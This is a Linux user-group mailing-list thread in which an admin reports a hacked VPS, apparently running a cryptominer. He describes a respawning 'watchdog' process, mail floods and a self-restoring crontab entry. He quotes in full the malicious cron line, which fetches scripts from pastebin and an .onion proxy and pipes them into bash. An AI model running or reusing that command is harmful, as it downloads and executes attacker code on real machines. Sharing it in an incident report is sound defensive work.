[ale] I was hacked!

[Alex Carver]

Following the links to pastebin is quite interesting.


On 2019-11-04 09:11, Dow Hurst via Ale wrote:
> Just curious, did you have a really good password on root? Like more than
> 16 random characters? I would expect you would, but am curious about what
> you think is the attack vector. Root access via a password through ssh
> would still be tough if the password is long enough and completely random.
> Sincerely,
> Dow
> ⚛Dow Hurst, Research Scientist
>        340 Sullivan Science Bldg.
>        Dept. of Chem. and Biochem.
>        University of North Carolina at Greensboro
>        PO Box 26170 Greensboro, NC 27402-6170
> 
> 
> 
> On Mon, Nov 4, 2019 at 5:40 AM Jim via Ale <ale at ale.org> wrote:
> 
>> I run a server on  a VPS for an organization I support pro bono. I gave
>> up trying to run a mail server a while ago and started using mailgun.
>> Mailgun is free for the first 10,000 emails per month and I knew
>> something was wrong when I received a bill for $10 from them.  Seems my
>> server that used to send less than 500 email suddenly sent nearly 20,000
>> last month.  I started investigating and found that the emails were all
>> sent from root to root on the same machine.
>>
>> Here's one of them:
>>
>> Delivered: root at xxxx.org → root at xxxx.org 'Cron <root at xxxxs> (curl -fsSL
>> https://pastebin.com/raw/9QVpd02i||wget -q -O-
>> https://pastebin.com/raw/9QVpd02i||python -c 'import urllib2 as
>> fbi;print fbi.urlopen("https://pastebin.com/raw/t3B4cpC8").read()'||curl
>> -fsSL https://pastebin.com/raw/TwuQybiQ||wget -q -O -
>> https://pastebin.com/raw/TwuQybiQ||curl -fsSLk
>> https://aziplcr72qjhzvin.onion.to/old.txt -m 90||wget -q -O -
>> https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T
>> 60)|bash' Server response: 250 OK
>>
>> They were being sent every few seconds.  I also observed a process named
>> "watchdog" that was consuming all of my cpu 100% of the time.  Every
>> time I looked a the process table, I saw it at a different PID.  There
>> was no way to kill it.  I did a locate search for watchdog and didn't
>> find it, which wasn't a surprise.
>>
>> I also noticed an entry in root's crontab that I didn't put there.  I
>> edited it and removed it and a few seconds later it reappeared.  It
>> looked a lot like the contents of the messag in that it was a series of
>> curls, wgets, python scripts piped into bash.
>>
>> At this point I figured that the system was hosed and even if I could
>> remove the offensive malware, I would never trust it again.
>>
>> The system wasn't perfectly locked down.  I did use an alternative ssh
>> port and only one normal user had sudo group.  I didn't have root locked
>> out of ssh.  I know, shame on me.  I was running fail2ban, but these
>> days that's a bit of a waste of time since when the bad guys get locked
>> out they just use a different IP address.  I checked ip addresses in the
>> mail.log file and all that I looked at were Amazon sites, probably aws.
>>
>> I'm guessing whatever was running was mining bitcoins or something.
>>
>> Just in case the bad guy got in from the host, we're changing the VPS
>> provider.  I do have complete backups.  The web pages are served from a
>> normal user so even if they compromised something there, which I doubt,
>> the normal user has no root access.  The only things I'll restore from
>> the root user are scripts which I will inspect.  I think I'll be OK but
>> if anyone has any suggestions, let me know.
>>
>> The new server will not allow password access to ssh.  Only allow ssh
>> keys.  There are only 3 users on this machine and I'm the only one who
>> would know what to do with root access, so I'll have sudo permission and
>> no one else.
>>
>> Thanks for listening.
>>
>> Jim.
>>
>> _______________________________________________
>> Ale mailing list
>> Ale at ale.org
>> https://mail.ale.org/mailman/listinfo/ale
>> See JOBS, ANNOUNCE and SCHOOLS lists at
>> http://mail.ale.org/mailman/listinfo
>>
> 
> 
> _______________________________________________
> Ale mailing list
> Ale at ale.org
> https://mail.ale.org/mailman/listinfo/ale
> See JOBS, ANNOUNCE and SCHOOLS lists at
> http://mail.ale.org/mailman/listinfo
>